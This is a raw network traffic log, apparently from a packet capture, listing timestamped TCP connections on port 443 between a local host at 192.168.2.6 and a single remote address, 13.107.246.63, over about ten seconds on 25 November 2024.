Nov 25, 2024 18:29:24.645859003 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.646012068 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.646022081 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.762748003 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.762774944 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.859579086 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.860156059 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.860205889 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.860666990 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.860682011 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.892716885 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.892740965 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.037630081 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.040683985 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.040793896 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.044850111 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.044872999 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.044887066 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.044893026 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.048346996 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.048439980 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.048547983 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.048712015 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.048743963 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.361818075 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.364778042 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.364840984 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.364852905 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.364906073 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.365170002 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.365189075 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.365200043 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.365205050 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.378261089 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.378288031 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:25.378356934 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.378535032 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:25.378549099 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.219872952 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.220628023 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.220664978 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.221061945 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.221069098 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.275155067 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.275553942 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.275583029 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.276010036 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.276015043 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.518470049 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.518975973 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.518995047 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.519511938 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.519516945 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.667958975 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.668023109 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.668253899 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.668417931 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.668417931 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.668483019 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.668525934 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.679791927 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.679824114 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.680057049 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.680248976 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.680260897 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.725986004 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.728871107 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.728946924 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.746987104 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.747011900 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.747024059 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.747031927 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.751471043 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.751512051 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.751586914 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.751760006 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.751773119 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.796673059 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.797137976 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.797164917 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.797631025 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.797641039 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.977610111 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.981710911 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.981801987 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.981826067 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.981837034 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.981848955 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.981853962 CET	443	49970	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.985306978 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.985337973 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:26.985418081 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.985579967 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:26.985591888 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.184956074 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.231539965 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.239289999 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.242589951 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.242749929 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.319982052 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.319998026 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.320508957 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.320513964 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.321717978 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.321736097 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.321763039 CET	49971	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.321778059 CET	443	49971	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.326560974 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.326592922 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.326646090 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.326807022 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.326817989 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.651514053 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.655112028 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.655196905 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.655258894 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.655258894 CET	49972	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.655312061 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.655353069 CET	443	49972	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.658334970 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.658380985 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:27.658471107 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.658643961 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:27.658659935 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.467629910 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.468272924 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.468296051 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.468794107 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.468800068 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.497052908 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.497504950 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.497534037 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.498008966 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.498016119 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.805543900 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.806246042 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.806274891 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.806617022 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.806622982 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.917649031 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.920718908 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.922307968 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.922307968 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.922307968 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.925560951 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.925596952 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.925682068 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.925798893 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.925821066 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.934732914 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.937819958 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.940716028 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.940881968 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.940881968 CET	49974	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.940900087 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.940908909 CET	443	49974	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.942804098 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.942837954 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:28.942909002 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.943046093 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:28.943058968 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.143224955 CET	49973	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.143254042 CET	443	49973	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.274089098 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.274123907 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.274175882 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.274178028 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.274224043 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.274390936 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.274406910 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.274415970 CET	49975	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.274421930 CET	443	49975	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.277602911 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.277642012 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.277766943 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.277864933 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.277878046 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.311886072 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.312300920 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.312319040 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.312892914 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.312897921 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.496274948 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.497997999 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.498016119 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.498518944 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.498526096 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.772782087 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.772949934 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.773128986 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.874291897 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.874320030 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.874332905 CET	49976	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.874340057 CET	443	49976	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.893781900 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.893810987 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.893874884 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.894706011 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.894721031 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.942373991 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.942533970 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.942591906 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.942715883 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.942734003 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.942744017 CET	49977	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.942763090 CET	443	49977	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.945647955 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.945667982 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:29.945749044 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.945856094 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:29.945866108 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:30.692692995 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:30.693378925 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:30.693394899 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:30.693980932 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:30.693985939 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:30.819117069 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:30.819616079 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:30.819652081 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:30.819933891 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:30.819941044 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.134896040 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.135075092 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.135514975 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.135535002 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.135934114 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.135940075 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.138978004 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.139043093 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.139065981 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.139090061 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.139106035 CET	49978	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.139111996 CET	443	49978	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.142488956 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.142528057 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.142601013 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.142748117 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.142760038 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.288305998 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.288331032 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.288408995 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.288443089 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.288698912 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.288698912 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.288719893 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.288912058 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.288949966 CET	443	49979	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.289021969 CET	49979	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.292402983 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.292432070 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.292499065 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.292679071 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.292690992 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.614185095 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.614222050 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.614274025 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.614293098 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.614339113 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.614628077 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.614643097 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.614654064 CET	49980	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.614669085 CET	443	49980	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.618134975 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.618156910 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.618237972 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.618413925 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.618427038 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.635338068 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.637411118 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.637435913 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.637922049 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.637927055 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.783307076 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.783854008 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.783864975 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:31.784221888 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:31.784228086 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.076495886 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.079473019 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.079572916 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.079585075 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.079603910 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.079756975 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.079914093 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.079931021 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.079941034 CET	49981	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.079946995 CET	443	49981	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.083405018 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.083431005 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.083528996 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.083678007 CET	49986	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.083688974 CET	443	49986	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.236134052 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.238939047 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.239008904 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.243912935 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.243933916 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.243944883 CET	49982	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.243951082 CET	443	49982	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.247481108 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.247509003 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.247592926 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.248394012 CET	49987	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.248408079 CET	443	49987	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.762208939 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.763067007 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.763084888 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:32.763524055 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:32.763528109 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.224129915 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.224312067 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.224364996 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.224467039 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.224467993 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.224575043 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.224591970 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.224601984 CET	49983	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.224607944 CET	443	49983	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.227960110 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.227994919 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.228071928 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.228269100 CET	49988	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.228279114 CET	443	49988	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.280354977 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.280898094 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.280920982 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.281404972 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.281409979 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.500533104 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.501173973 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.501187086 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.501713991 CET	49985	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.501718044 CET	443	49985	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.751271963 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.751360893 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.751527071 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.751693964 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.751712084 CET	443	49984	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:33.751723051 CET	49984	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:33.751729012 CET	443	49984	13.107.246.63	192.168.2.6
